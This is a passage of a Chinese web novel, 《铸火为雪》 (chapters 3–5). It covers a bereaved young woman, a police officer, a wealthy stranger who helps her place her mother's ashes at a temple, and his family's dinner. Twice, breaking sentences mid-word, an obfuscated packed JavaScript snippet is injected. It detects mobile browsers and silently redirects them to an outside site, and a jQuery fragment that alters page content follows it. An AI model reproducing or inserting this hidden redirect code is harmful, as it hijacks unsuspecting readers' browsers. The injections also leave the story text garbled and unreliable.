《铸火为雪》
3. 第 3 章
田家死了三口人,只剩个男人,那男人回来了。
他叫田敢,确实是个很勇的男人,身强体壮,浓眉短脸,常年在外跑车,一跑就很远,人家突然通知说你老婆孩子都死了抓紧回来。
一个男人遭受了伤痛是什么样的呢?令冉头一回见。
男人觉得疼,也会嚎叫。他打西北回来的,听说那儿油菜花都没开,万物才刚刚起步,草向着暖风,追逐太阳,田敢轰隆隆开着车,天地大得孤独,又美得忧愁,他一路开过戈壁、沙漠、无人区,一个人一开就是很久很久。
“太想找个人说话了,说点啥都行,真是太想了。”
他上次回家就是这么跟熟人说的,长吁短叹,“十里寨真好,到处都是人。”
他一回家,跟家人说话,跟租客说话,路过的认识的不认识的,都要招呼一句“吃了吗?”
田敢坐在黢黑的窗户那哭嚎,攥着防盗窗,防盗窗也是黑的,大约是眼泪尽了,他猛然撞起它们来,咣咣响,好像撞断了防盗窗,人就能跳下去。
底下围着人,看他悲伤,这是无用的,眼泪、痛苦全都是活人的事,死那里,什么都结束了。男人哭起来,跟小孩子差不多,张着嘴,表情扭曲,相熟的人上去劝他,他一遍遍说这一路他是怎么开回来的,肠子都打结了,没有感同身受,只有他的喋喋重复。
“别看这会哭那么伤心,回头拿了钱,不要一年半载又能说上媳妇了。”
过路的人随口丢下一句,令冉听见了,她抬头看看失去妻子孩子的男人,他的眼泪不是假的,将来若是再娶,也不是假的。田敢还是个活人,非常具体,人还活着就有情感要倾诉。
“令冉?”身后有人喊她,是派出所的民警冯经纬。
冯经纬23岁,去年才参加工作,人爱笑,非常阳光,眼睛亮得不得了,白白净净的年轻人。这样的小伙子,一眼看上去就是个很诚恳很热情的。
“所里让我来看看你,本来安排的静姐,她临时请假,我就来了。”
冯经纬像她的男同学,没距离感,冯经纬却不这么看令冉,她不像刚高考完的,倒像大学要毕业的,家里出这样的大事,她也太镇定。
“目前有什么困难吗?”冯经纬跟她说话,有些回避她的眼神,她的眼睛太好看,含情似水,看久了人发晕。
令冉说:“挺热的,到五奶奶家坐会儿吧。”
她领着冯经纬上楼,碰到人搬家,正往下搬大床垫,令冉便避开,还是蹭到了她脑袋,冯经纬问:“没事吧?”
令冉摇摇头。
“我看这儿的租客都在陆续搬家?”
“确定要拆,他们必须得搬走。”
冯经纬找不到什么话题了。
五奶奶见警察同志来家里,给开了空调,把桌子上的罩子拿开,招呼他吃西瓜。罩子上有苍蝇,五奶奶一摆手,苍蝇先是飞了一圈,又回来,落在案子上。
五奶奶也想知道火是怎么起来的,就问:“小同志,你们查明白没有?”
冯经纬道:“这几天就能出结果。”
五奶奶长长叹气,让两人说话,她要下楼买东西。
西瓜汁流进指缝,黏糊糊的,黑籽又掉地板上,许经纬手忙脚乱想捡,令冉说:“没关系,过会我打扫。”
冯经纬尴尬一笑:“不好意思啊。”
令冉低声道:“我能问你些什么吗?”
冯经纬把西瓜放下:“你问。”
令冉道:“你们其实已经有结果了,对吗?到时出一份公示,事情就结束了?”
冯经纬觉得不看着她眼睛不礼貌,微笑也不合适,便很严肃说:
“这儿房子到处都是违建,消防隐患大,你看有的楼,离那么近中间掉个小孩都能卡死,更不要说,这附近还有不合规的一堆小厂子。我跟你说这些,是希望你有个心理准备,这次的事,基本就是这个原因。”
令冉摇头:“我家只有两层,很早以前我就跟妈妈说过安全的事情,防盗窗留了小门可以打开的,即使火大正门出不去,妈妈是从能阳台跳的,她不应该困死在里面,而且,最先起火的不是我们家,为什么会烧到我们呢?”
冯经纬无可奈何:“你上次和我说的,我一直记得,但现场调查确实是电路老化引起的。如果你怀疑什么,你们家社会关系简单……”
“你是不是觉得,”令冉轻缓打断他,“我怀疑的没道理,我们没有仇家,正常来说没人会故意害我们。”
她微弱地说完,人静下来,冯经纬看她这样觉得身体也跟着冰凉下去。
“我会帮你再留意一下的。”
他说这话莫名有点丧气,他只是个小角色,一旦结案,他能做什么?
令冉对他微笑一下,非常浅,几乎看不到嘴角走向:“谢谢你,你已经很好了,还来看我。”
她望向窗外,“这么热的天,你来这么一趟很辛苦的。”
冯经纬连道:“这是我的工作,应该的,你有什么困难可以跟我们说,所里会尽力帮忙。”
他环视四下,“你要一直住这个奶奶家吗?暑假很长的,我算了算,将近三个月呢。”
令冉轻声说:“不知道,不想考虑那么远,考完那天妈妈要去接我的,我们打算吃个蛋糕,计划是没用的。”
冯经纬的心要痛起来,他想照顾她,可他没这个立场,他自己也住在出租屋里,是个刚起步的年轻人。
“你要是觉得难过,可以哭的,不用压抑自己。”
他实在不知道该说什么了。
令冉目光平和:“我没有眼泪,我长这么大,很少哭,不知怎么回事,妈妈走了,我只是觉得身上不干爽,这些话,我也没跟别人说过,既然你问了,我告诉你就是了。”
冯经纬心跳很快,他几乎脱口而出:“你是信任我的意思吗?”说完觉得唐突了,他耳朵泛红,起身去洗手池那拧水龙头,“我洗个手。”
“我可以信任你吗?”她在他身后问。
冯经纬觉得心都可以拿出来了一般,难受得要命。
“当然能,我是人民警察。”
这话显得有点稚气似的,谁这样说话啊?这么大的人了,又不是十几岁少年。但就是忍不住回应了,没办法。
令冉走过去,递上毛巾:“这是我的,擦擦手吧。”
冯经纬不肯:“不了,你们女孩子的私人用品我用不合适,很快就干了。”
令冉道:“你不是说,你是人民的警察吗?所以不用见外。”
她的眼睛真是迷人,说话时,就这么看着你,是没法拒绝的,她说话又是这么得体,有道理,冯经纬有一瞬间觉得为这样的一个眼神,做什么都是心甘情愿的。
可她刚高考毕业而已,他几乎又要忘记她真实的年龄。
毛巾柔软凉爽,沾了一手芬芳。他又闲问几句她学校的事,知道校方也很关心她,要提供帮助,被令冉婉拒了,只接受了女同学的几件旧衣服。她估分不错,理应是985的水平,原来她念书也这样厉害,冯经纬心里的叹惋更重了。
“你能陪我再到现场看看吗?”令冉站起来,她是商量的语气,很温柔,她像是知道人家一定会答应,确实如此,她平时话很少的,只要开口,眼神、表情、姿态全都调动起来,让人觉得不认真听她说话简直是罪过。
他跟她又走了一圈,现场是难看的,一片狼藉,硬的东西只剩骨架,软的东西则灰飞烟灭。
“监控坏了是吗?”
“对。”
“也没目击证人?”
“那个时段很难有目击证人。”
令冉不再问什么,一切都终止,承载气味、记忆的物件们转瞬消亡。她跟冯经纬告别时,双手握住他的右手,冯经纬很意外,她的眼神是纯洁的,需要援手的:
“现场真的再查不出什么了吗?”
冯经纬心里很乱,他知道有个经验丰富的老同志,但长期被边缘化,早年出过一些事,大家讳莫如深,也不是很喜欢同他打交道,老同志桀骜不驯,相当自负。现在消防总部火灾调查部也介入了,结论很难推翻,毕竟大火烧光了现场。
“我看能不能找老杨,要是他都不能发现什么,那就是真不能了。”
冯经纬没法不答应她,令冉慢慢松手:“我不认识什么人,没任何人脉,你是我唯一能相信的。”
冯经纬频频点头,他心情很澎湃,浪头在不停击打心房,无论是出于身份还是个人私情,被人信任的感觉都是极好的。
骨灰盒放在五奶奶家里,换作一般人,怎么愿意呢?五奶奶愿意,她说她是土埋到脖子的人,不忌讳,也不害怕,她有时会跟骨灰盒说几句话,像肖梦琴活着时那样。
“梦琴呐,今儿个小张的油条炸老了,凑合吃吧。”
“梦琴,昨儿一宿跟没合眼的呢,觉是越来越少。”
“冉冉这孩子不哭,怕是吓着了还没缓过这个劲儿,梦琴你要是疼孩子,想来看她就来,我不怕,啊?梦琴,你听着没?”
令冉的乳名起初是苒苒二字,人见了她,说这孩子又漂亮又文静,真是标准的女孩样儿啊,关键她还聪明得不得了,念书一点就通。令智礼没管过她,都这样出息,果真草木一般自己生发得茂盛,学名便是单字苒。但上户口时,工作人员潦草应付,给上错了名字,一错许多年,也不是太要紧的事。
五奶奶对肖梦琴的印象非常好,她站在那儿,文文雅雅,和和气气,从不跟人红脸,也一点不显老,像三十岁的人,其实孩子都要考大学了。印象再好,骨灰盒也没道理长久放一个独身老人家里,何况还是横死,不吉利。
六月的天气,尚且能忍受,令冉借了铲子、自行车,戴着顶旧的男款平顶草帽出门。帽子是五奶奶家修水管上门师傅落下来的,没回来找,五奶奶觉得什么都有用,便收起来。
果然,令冉要戴时,老人非常高兴,说早就想着不知哪天能用上,为了这个“有用”真是开怀。
裙子长且阔,腰身在布料下淹没了似的,因为颜色是米白,令冉找出一截红色尼龙绳当腰带系成蝴蝶结。她十一二岁已经知道爱美,也知道自己美,她喜欢一切“美”的东西,美丽的花,美丽的衣服,美丽的色彩,美丽的书,美丽的思想,还有美丽的幻境,远离十里寨的。
令冉出门前照了次镜子,妈妈死了,她没有忘记照镜子。
她骑车到一个很偏僻的公园,非常远,春暖花开的时令都没什么人,更不要说这样的季节。
太阳也是很辛苦的,要这样烈,不这样万物就没法成熟,没法结果。令冉抱着骨灰盒,盒子里的人已经没了四季,她选了棵花树,不认识,叫不上名字。
四处无人,只有鸟声缭绕。
她蹲下来铲土,汗很快滚落,缠着长头发黏在脖间。
“需要帮忙吗?”
她被这声音惊了一下,一回头,慢慢认出这个人,因为是晴朗天气,什么都看得十分清楚了。
陈雪榆为什么会突然出现在这里,她不知道。
这人高高的个子,皮肤洁净,眉目漆黑,确
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691996|188874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
实是十分年轻,但一说话,那种腔调是格外沉稳格外有礼的。
他好像有点诧异,仿佛刚认出她:“这么巧?”
令冉被太阳白的光闪着眼,她稍稍别开脸,陈雪榆捕捉到了,不动声色替她挡住。
他无疑是很有教养,很注重细节,也很注重别人感受的,极其容易给人留下绝佳印象。
“我记得你,不知道你是否还记得那个雨天的事情?”
令冉慢慢站起来,头发贴在唇角浑然不知:“记得,你叫陈雪榆,那天我在你车里避雨。”
陈雪榆微笑点头,环视四周:“这个公园很少有人来,没想到会在这儿又遇见你,”他指了指她手里的铲子,“是要挖什么吗?需不需要帮忙?”
雨天是晦暗的,这人今天是落在了太阳底下,她默默观察他,他的确是贵的,穿着打扮都很讲究,她见过太多底层的男人相貌,即便生的好,也总逃不过后天的摧残,他们的皮肤、脸庞、甚至是走路的体态都会留下日子的印记。
“我是希望这儿只有我自己的。”令冉说,“我还记得,你说你不容易被冒犯,希望没冒犯到你,我知道这公园不是我的。”
陈雪榆看着她的眼睛说话:“当然不会,我也是碰巧路过,打扰到你很抱歉,”他非常有风度,举手投足间自然、放松,是丝毫没被冒犯的样子,“如果你不需要帮忙,我先走一步。”
令冉没说好,也没说不好,她静静看着他:“上次的事,以为只是萍水相逢,不会再碰到,都没法表达谢意。”
陈雪榆说:“没关系,一件小事而已,不必客气。”
他是个无可挑剔的男人,模样好,言谈举止好,看样子还很慷慨大度,很梦幻的一个异性。尤其置身这样的草地上,天空下,人看人的视野跟想法也是跟着开阔的,不像十里寨那种地方,头顶永远是一线天,憋闷,逼仄,活着密密麻麻的人,密密麻麻的言语。
令冉对陈雪榆有好感,这样的男人谁能没好感呢?她同时明白,他对自己是一样的,那样大的雨,这样热的天,为陌生人驻足还要花花心思说话。她想他应该是有钱的,充裕的物质对她来说很陌生,他像一颗包装精美的糖果,有没有毒,这很难说。
“你经历过大事吗?”
陈雪榆明白她是顺着刚才那句说的,笑了笑:“生离死别可能才算大事,我暂时还很幸运。”
他的额头也开始沁汗了,晶晶亮,薄薄一层,整个额头都显得湿润,好像把鬓角浸得更黑,令冉没有任何自责、愧疚,妈妈死了,她却在审视一个陌生男人,人真是奇怪,她也不知道自己还算不算人。
“你刚才问我需不需要帮忙,还能算数吗?”
陈雪榆点头:“当然,我能帮你做点什么?”
令冉道:“麻烦你不要举报我在公园里埋东西,你看见了,能当作没看见吗?”
陈雪榆道:“我不会,但你这样埋下去别人很容易看到新翻的土,也许会好奇。我的意思是,这样做其实也不安全,即使我不去说。”
令冉神情茫然,有一丝忧郁:“我没办法,人总是这样的,没办法的时候只能找不是办法的办法。”
陈雪榆道:“方便问是什么东西吗?”
骨灰盒不小,用红布包裹着,其实骨头没烧干净,因为是普通的价钱,所以可能混着别人的了,是不是肖梦琴呢?难说。
可还得有个仪式,有个物件,好来当活人的寄托,肖梦琴不需要这东西。
令冉神色平和:“我妈妈的骨灰盒。”
陈雪榆眼神动了一下,他立马说:“抱歉,是我唐突了。”
令冉心道,这有什么好唐突的呢?人都死了,感觉不到唐突的。
她慢慢蹲下去,继续用铲子一下下挖土。
陈雪榆没多问其他,俯身跟她说:“不介意的话,我认识一家寺庙的主持,那里更适合暂时寄存,不知道你愿不愿意?”
令冉抬脸看看他。
陈雪榆道:“我现在可以带你过去,这样,我开车,你打车过来跟我汇合,行吗?”
令冉像是很容易轻信的样子,她抱着骨灰盒,跟陈雪榆到路边,路很漂亮、干净,绿化做的好。陈雪榆拦下一辆出租车,敲敲窗户。
“师傅,麻烦您把她送到正峰寺。”
令冉突然道:“我能坐你的车吗?”
陈雪榆打量她一眼,便对司机说:“不好意思师傅,先不坐了,耽误您。”
她心思变化莫测,捉摸不定,没有试探的意思,仅仅是想看看陈雪榆怎么跟人打交道。
陈雪榆看起来是很周到很客气的人,但这司机师傅脾气很直,骂了两句,意思确实耽误他做生意了,不坐拦什么车?
令冉看着陈雪榆,他当然没还嘴,那是很有失风度的,她看见他眼里微微的蔑视,几乎是一闪而过,可他的神情、态度,都还是没有丝毫变化。
陈雪榆的车比道路还要漂亮,黑色的,线条流畅,就像一个漂亮男人那样很惹眼。这样的车,看一眼都要爱上了,雨天没看清楚的,这下都明了了。
车子非常舒服,动起来几乎没什么感觉,不像坐公交,又挤又吵,遇到高峰,人贴着人,别人的体热是恶心的,空气里各种臭味交织。舒适、安静的空间,是贵的,要花大价钱买的,令冉坐在这样的车里一瞬间明白了。
妈妈还不曾知道,更不曾拥有。
她忽然就淌下两行眼泪,这是事后第一次流泪,泪水滚热,是咸的。前面陈雪榆抽出一张纸巾,他没开口,抬手递过来。
4.第 4 章
令冉没接,泪光闪烁那么一会儿,这人车子里还是香皂的气味,但这人的气味、感觉,他的生活,都是跟她完全不同的。
正峰寺没听过,红墙灰瓦,大树遮天蔽日,香客不多,庙宇非常干净,乍一看超凡脱俗,里头念经的和尚有没有脱俗,不清楚。令冉没进过寺庙,人少真好,不闹也不吵,没有油烟味,是檀香,却也不是她喜欢的。
陈雪榆跟主持认识,过去沟通,这个事情解决起来简洁轻便,好像就是几句话的事。
同样是说话,有的人每个字都有价值、效果;有的人一开口仿佛全世界都聋子,人家一个字也听不见,说也是白说。
放骨灰盒的地方金光闪闪,蛮漂亮,这地方也好,上有日月星辰,下有清风绿荫,比肖梦琴活着时候的家还要敞亮。主持念了几句什么,这是法事,超度亡魂,亡魂要去哪里,主持未必知晓。
陈雪榆也是很肃穆的,什么样的场合,要什么样的礼节,他从不出错。等一切结束,他的神态便成关切,有了人情味儿。
“口渴吗?过来喝杯茶。”陈雪榆请她到后院,那里有个小小的茶室,清凉宜人。
十里寨的男人也爱喝茶,渍黄了的水杯,茶叶很多,在里头载浮载沉,那么大的杯子,一半是水,一半是茶叶,又解渴又提神。陈雪榆不用大杯子,器物精致,也不是抓一把茶叶丢进去,而是把这事弄得很复杂,功夫细。
茶水颜色清、淡,看着不出奇,陈雪榆说:“尝尝看,合不合口味。”他跟她说话,可不是当小孩子,完全成年人的那种感觉。
令冉不懂,低头尝了一口,嘴巴里香,一下就散开,等到咽下去仿佛五脏六腑也叫茶味香去了。
她心里不知为什么,浮起淡淡的嘲讽,茶跟她生疏。
“还可以吗?”陈雪榆问她。
令冉说:“我没喝过茶,都是喝白水,也不知道怎么评价茶,只能说很好喝,很香。”
她把帽子摘下来,放在腿上,陈雪榆极快地看她一眼,她头发乱着,乌黑乌黑的,脸却雪白,嘴唇还是缺少血色。
“觉得好喝就是好茶,如果你喜欢,把这茶叶带回去喝。”
令冉摇头:“谢谢,我用不到,你已经帮我很多,我没什么对等能回报的,可能要你吃亏了。”
陈雪榆道:“言重,我也不是那种不能吃一点亏的人,更何况,我不觉得现在吃什么亏了。”
令冉捏着草帽边缘,她总是给人很娴静很腼腆的感觉,其实说话的腔调是泰然的,爱怎么说就怎么说。
“换作旁人,你也这样热心吗?”
陈雪榆语气坦荡:“大概不会。”
令冉点点头,若有所思:“那我可能还是要付出什么代价。”
她眼睛看过来,陈雪榆没回避:“方便问个问题吗?”
她慢慢道:“你看,我现在就要付出代价,你帮我这么大的忙,我回答你一百个问题也是应该的。”
陈雪榆短促笑一声:“你这么说,我不好问了。”
令冉声音轻似羽毛:“没关系,你大概想问我家里其他人呢,问我一些私事。比如,我叫什么,多大了,家里面什么情况。”
陈雪榆说:“你可能判断错了,我只是想问问你,身体有没有什么不舒服,天气很热,我看你有些疲惫。”
若是换作一般人,总该心存感激,或者体会到一阵陌生人带来的温暖。令冉没有,她不用从旁人身上得到温暖得到关爱,如果有什么需要,仅仅停留在感官上,陈雪榆是个英俊的年轻男人,她的眼睛用审美的态度去看他,她喜欢他身上的美感,好看的五官,好看的身量。
“没有,没什么不舒服,这儿清清凉凉的,空气也新鲜,我喜欢开阔的地方。”令冉面孔上突然带了点笑意,“刚才你看见猫了吗?有只黑猫过去了,皮毛油亮亮的,是只好猫。”
陈雪榆往四下看看,没有猫,也许是跑得太快,她在这一瞬间流露出一点生命力,像寻常女孩子那样。
“你喜欢猫?”
“谈不上,我只是看它养的很好,很漂亮,让人看着心情好。”
她把茶水喝完,问道:“我还能再要点儿吗?”
陈雪榆给她倒满,很绅士的态度,一切都那样恰当,令冉默默看他,他察觉到,笑着问一句:“在审视我吗?”
他这语气带点相熟的意思,连此刻的相熟,都很合适。
令冉说:“想到一个词,道貌岸然。”
陈雪榆眼睛里没一丝诧异,他微笑:“看来我给人印象很不好。”
令冉却说:“不是,你像道貌岸然的本意。”
陈雪榆是没想过这个常见词本意的,坦然请教:“怎么说?”
令冉道:“我看过的书上说,道貌岸然意思是一个人在秩序位置上的样子,像河岸一样不能移动错位,他该是什么样,就得呈现那个样子。”
陈雪榆笑问:“我该是什么样子?”
令冉目光在茶具上:“你喝茶得这样喝,才是你该有的样子,不能像我们那的人,捏一撮茶叶,开水泡一泡就行。他们也不会像你这样喝茶。”
陈雪榆评价道:“我第一次听人这么解释道貌岸然,有道理,也很有意思,你是文科专业吗?”
这好像是把她当成年岁要大一点的人,令冉很习惯,她总是比同龄人显成熟,也确实比大部分同学长一岁。她出生很久才上的户口,上学也晚,身份证上倒小,不满十八。
“我高中念的理科,大学要学什么我还没想好,报志愿时会请老师给我些建议。”
陈雪榆这才像是流露一点惊讶:“你刚参加完高考?”
令冉浅笑,她的嘴唇没有血色但唇形很美,她天生像年轻的女人,站着,坐着,说话的样子,都很有女人袅娜的味道,好像她没有尴尬的青春期,她的五官、身材早早地长开、绽放,是一朵开很好的花。
“看来我老了,你已经很委婉了,没有问我在哪里上班。”
陈雪榆低头一笑:“我不是这个意思,你当然不老,刚高考完的学生应该很放松,像小孩那样,”他神情的转换非常自然流畅,很能体谅她的不幸,“希望家庭的变故不会让你一蹶不振。”
令冉竟还能微笑应对:“谢谢你的善意。”
陈雪榆说:“我知道这话轻,甚至会引起别人的反感,但有些时候正确的话还是得说。”
令冉道:“没关系,你不会惹人反感。”
她把帽子重新戴上,是要走的意思了,陈雪榆慢慢站起来,“如果有什么需要帮忙的,可以跟我联系。”
“我们萍水相逢,又到该散的时候了,我现在也想不出有什么需要别人帮忙的,但还是要再次谢谢你。”
陈雪榆点点头:“不客气,这样也好,你随时能过来这边看望你妈妈。”
她顺着台阶往下走,陈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695293|188874||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雪榆跟在后面,令冉回头,只是静静注视他,陈雪榆很高大,她眼睛里有欲言又止的东西,让人忍不住主动去问。
“怎么了?”
令冉抿了抿头发,像是很淡地笑一下,没说话继续朝寺庙门口走去。
“我想打车回公园骑车,不想再耽误你时间,”她声音柔弱,“我没带钱,你可以帮我付车钱吗?”
她没有一点不好意思,好像花男人的钱心安理得,但她那个样子,实在不像喜欢占人便宜的。一旦她开口,没人会觉得她贪图什么,只会心甘情愿帮她。
陈雪榆是很大方的男人,也不会计较这种小钱:“刚才就是想说这个的吗?”
热的风吹过来,她的头发随风起来,裙摆也是,似有若无搔过他的手臂。
“不是,下次来看妈妈,我会把钱给主持的。”
陈雪榆道:“那倒不必,一点小事,不用一板一眼算清楚。”
令冉站他身旁,安静了,她的头发、裙子,反复叫风往陈雪榆身上吹,像蝴蝶那样上上下下,他没有避开。
这地方出租车来得少,等了好一会儿,令冉动也不动,直到车来,陈雪榆替她拉开车门,跟司机师傅交待清楚,令冉一直望着他,他视线投过来,她便伸出只手:“再见。”
陈雪榆迟疑刹那,旋即轻握一下:“再见。”
手的触感是软的,短暂相交,极快分开了,她的小拇指似乎是勾了那么一下,不知是不是错觉,陈雪榆低头看了看手。
车子启动,他往前走两步,目送它远去。
今天是十五,每个月的十五陈家人都要聚餐,这是规矩。
陈雪榆的父亲陈双海是本市锦荣实业集团的董事长,六十多岁的人,爱跑步、游泳,一生精力旺盛,有过三段婚姻。这三段婚姻,发生在他人生不同阶段,现在他老了,原配甚至早生病亡故,他如果还有归属的话,最后一个女人,理所当然应该是贴身保姆一样的人物。这是陈雪榆的判断,果不其然,陈双海依旧繁殖能力惊人,有了第一个女儿和最后一个儿子,这让陈双海意气洋洋,老来子取名陈雪扬,罕有的未听大师卜卦,儿女的名字中应含“木”方能兴家。
但陈雪扬是个傻子。
寻常人能理解的那种傻子,不说话,不应声,自己玩儿自己的,大约还是因为陈双海年纪大了?这话没人敢说。
来聚餐的三个人,雷打不动,长子陈雪林是原配所生,三十出头,人很英俊有些匪气,在婚姻态度上跟老子如出一辙,离过两次婚,他真诚地爱每一任妻子,但这爱狂热短暂,犹如飓风。他的生活中不能缺女人,每每陷入爱情,又很舍得拿婚姻做保证。
陈雪榆是父亲第二段婚姻的产物,他的母亲出身很好,她年轻时一度被陈双海吸引,不顾家庭阻拦,嫁给这样的富商。但丈夫一天比一天老,这让她渐渐无法忍受,她对他没了崇拜、爱慕,在看到他脸上第一块老年斑时下定决心离婚,并很快投入第二段婚姻,开启新的生活。
必来的有个外姓人,跟陈雪林同岁,叫时睿,是陈双海的养子。时睿的父亲跟陈双海曾经是亲密的生意伙伴,人离世后,留下孤儿寡母,被陈双海照顾得很好。
这个家里,还有一个刚步入青春期,十二岁的小女儿陈雪樱,她摔断了腿,不能去上学每天在家里发脾气。她的母亲,是陈双海在火车上认识的南方姑娘,也是现在家里的女主人,她刚四十,依旧美丽。
5.第 5 章
这天陈双海会亲自做一道菜,松鼠桂鱼,这是他的重头戏,这道菜除了他,谁也不能掌勺。
鱼得是鲜钓的,要保持弹性,陈双海的花刀改得一绝,拍上粉,炸鱼也讲究,吃是人生头等大事,不吃好,做什么都欠口气。
陈双海住别墅区,客厅十分宽敞,适合四世同堂,乌泱泱几十口子人在这吃饭也不成问题。
装修风格老派,陈双海个人执着于红木家具,富贵、阔气,上头图案寓意吉祥,代表招财进宝或添丁进口,人活着,不就图这两样事?
陈雪榆到的时候,发现沙发上座垫、靠枕也都换作了大红色,花团锦簇,红得发狂,直往眼睛里扑。
古玩花瓶里插满玫瑰,也是红的,整个客厅又甜又腻,陈双海的现任妻子楚月华喜欢玫瑰花,这花是她插的。她技艺很多,会插花、茶艺、做点心、按摩……四十的年纪,看上去比实际年轻。
玫瑰花新鲜得不得了,早上才剪的,水珠剔透,还滚在上头,红也愈发红,一层又一层,陈雪榆凝神欣赏着玫瑰,一抹绿影闪动,像是夏天的叶子伸展过来,有人叫他。
楚月华推着陈雪樱过来了,她坐轮椅,手臂伸得老长,在陈雪榆眼前晃:“二哥,想什么呢都不理我?”
也不算走神,陈雪榆听见她前一刻在骂保姆眼瞎,保姆哪里得罪的她,不清楚。刚才那声音很遥远似的,此刻近了。
原来是楚月华穿了件绿色旗袍,打玫瑰花前过,她对陈雪榆露出女主人标准的笑容:
“雪榆,看看你妹妹,脾气是越来越大了。”她低头按了按女儿肩膀,“你不是说想二哥了吗?让二哥陪你说话。”
似乎他一来,她这个做母亲的就能暂时解脱,果然,陈雪樱神色欢快起来:“我要和二哥聊天!”上一秒觉得哪儿哪儿都烦,一见陈雪榆,她立马高兴得不得了。
陈雪榆起身跟楚月华打招呼,这才打量妹妹:“好些了吗?”
陈雪樱捶起膝盖:“慢死了,我烦透了,整天跟个瘸子似的坐这里,不能跑也不能跳,跟废人没区别,我都这样了,别人还要来烦我!”她激动起来,脸红扑扑的。
陈雪榆阻止她乱动:“吃一堑长一智,下次注意安全。”他又道,“不要跟保姆大呼小叫的,好好说话。”
陈雪樱不屑一顾:“她又干不时间长,我们也花了很多钱雇她,她在别人家能拿这么多钱吗?给人当保姆,被骂两句怎么了?”
陈雪榆握着她的手:“不要得罪她,因为她管着你的饮食,这家里也不能轻易得罪司机,因为他负责你的安全,能听懂吗?”
陈雪樱不服气:“怎么,他们还敢使坏吗?他们敢的话,爸爸就会把他们送进去坐牢!”
楚月华在一旁沏茶,笑着瞥她:“雪榆你可要好好教导教导她,大小姐动不动要打要杀的。”
陈雪樱特别生气:“我心情不好,你还说我。”
楚月华把茶递陈雪榆,他双手接了道谢。
“好了好了,不说你,我走总行了,让你二哥管你。”楚月华袅袅地走开了。
这不是陈雪榆的孩子,他也没义务教育,象征性说几句很符合他当人兄长的身份,他笑问:“在家还温书吗?”
陈雪樱念书还算聪明,但她不爱这个,她看电视人家选秀,也想当女明星,她觉得自己长得不赖,还很会唱英文歌。
“不想,我作业都懒得做,已经包给别人了。”
“花钱找人做的?”
“对,钱能解决的都是小事,这不是你们爱说的吗?”
“既然不想学,也可以不写,为什么还要花钱找人?”
陈雪樱得意一笑:“我喜欢看他们巴巴地等我选人,跟池子里的金鱼一样,挤一块抢食,特别逗。”
陈雪榆不置可否,保姆忙忙碌碌,打客厅一闪而过,陈雪樱看人紧绷的脸,立马歪头附在陈雪榆耳朵旁说:“她肯定刚拉完皮,以为自己十八岁。”一个做保姆的,还要臭美,真不要脸啊。
这个家里,陈雪樱只喜欢二哥,她喜欢年轻的,二哥长得最好,也最年轻,她就爱偎着他。
陈雪榆对她的刻薄充耳不闻,也不纠正,保姆过来送水果,对陈雪榆笑道:“雪榆,你瘦了呀?”
陈雪榆道:“有吗?我自己倒不觉得,也许是有段时间没见的缘故。”
保姆上下端相:“可不是瘦了,夏天就是这样容易没胃口,没胃口也要好好吃饭的,你这么忙,当然你还年轻的很,这会不觉得什么,到我这个年纪就知道了。”
真是话多,不老实,陈雪樱冲他挤眼又耸肩,那意思是她其实一点也不关心你,没话找话。
她频递眼神的样子,陈雪榆只是微笑,身后传来一阵轻快脚步声,大哥陈雪林的声音也跟着过来:
“雪樱,眼睛怎么了,还抽起来了?”
陈雪樱直叫唤:“大哥你才抽呢,真讨厌!”
陈雪林非常高,走路潇洒,要带起风似的,他走到雪樱跟前乱揉了一把头发,雪樱不乐意,拨开他的手,“哎呀,最烦人家碰我头发啦!给我摸乱了!”
她翻个白眼,“你都三十的人了,一点不稳重!”
陈雪林笑看陈雪榆,轻轻啊一声:“那是,都没你二哥稳重。”他拍了下陈雪榆肩膀,大马金刀地往沙发一坐,刚坐下,楚月华又袅袅过来,笑盈盈扫一圈,通知吃饭了。
其实最早到的是时睿,他长着谦卑周正的脸,看上去不怎么年轻,却也绝对不老,仿佛没有年纪似的。他不姓陈,但比姓陈的表现要好,更像个好儿子,他一来,不是陪陈双海说话,就是陪陈雪扬。
时睿摸起陈雪扬的脑袋,微笑着,一个四岁的小孩子,什么也不懂,呆他自己的世界里头谁也不搭理,真是幸福。
人到齐,才能动筷子,这是陈双海的规矩。
桌上铺着桌布,菜肴摆满,陈双海坐在了主位。他穿着打扮尽量显年轻,不叫人看出疲态、颓势,确实身体还不错,有种老当益壮的风采,他说话也永远是大家长、土皇帝风格,说一不二,喜欢命令式语气,但同时包含一种叵测的激情,容易让人误会这是感情。这种激情在某个方面还表现为他爱打人,喜欢打人,打员工,打对手,打儿子,只是不打女人。
大家品尝的第一道菜,一定是松鼠桂鱼。
陈雪林笑说:“我正想这个味了,明明吃那么多回,怎么都不腻,还是爸的手艺好。”
楚月华接口说:“从小吃到大,早习惯了,一段日子不吃是会想着。”她举止间很大方,既然是女主人,就要有女主人的样子。
陈雪林笑道:“上回在饭店吃这道菜,味道怎么都不对。”
时睿的话很恰当插进来:“鱼不能抹盐,饭店肯定没有这样陈叔这样的功夫。”
陈双海点点头:“时睿懂做饭。”
雪樱腹诽道,都炸过了怎么吃出的鲜?好假哦,她很想拆台,但知道陈双海不喜欢这样。
陈雪林顺势站起来,给陈双海盛汤,陈双海摆手:“说多少遍了,这种事有人来做,不要老是没活硬找活干。”
陈雪林自若说:“只准爸疼我们大热天下厨,还不兴我们孝顺爸的了?”
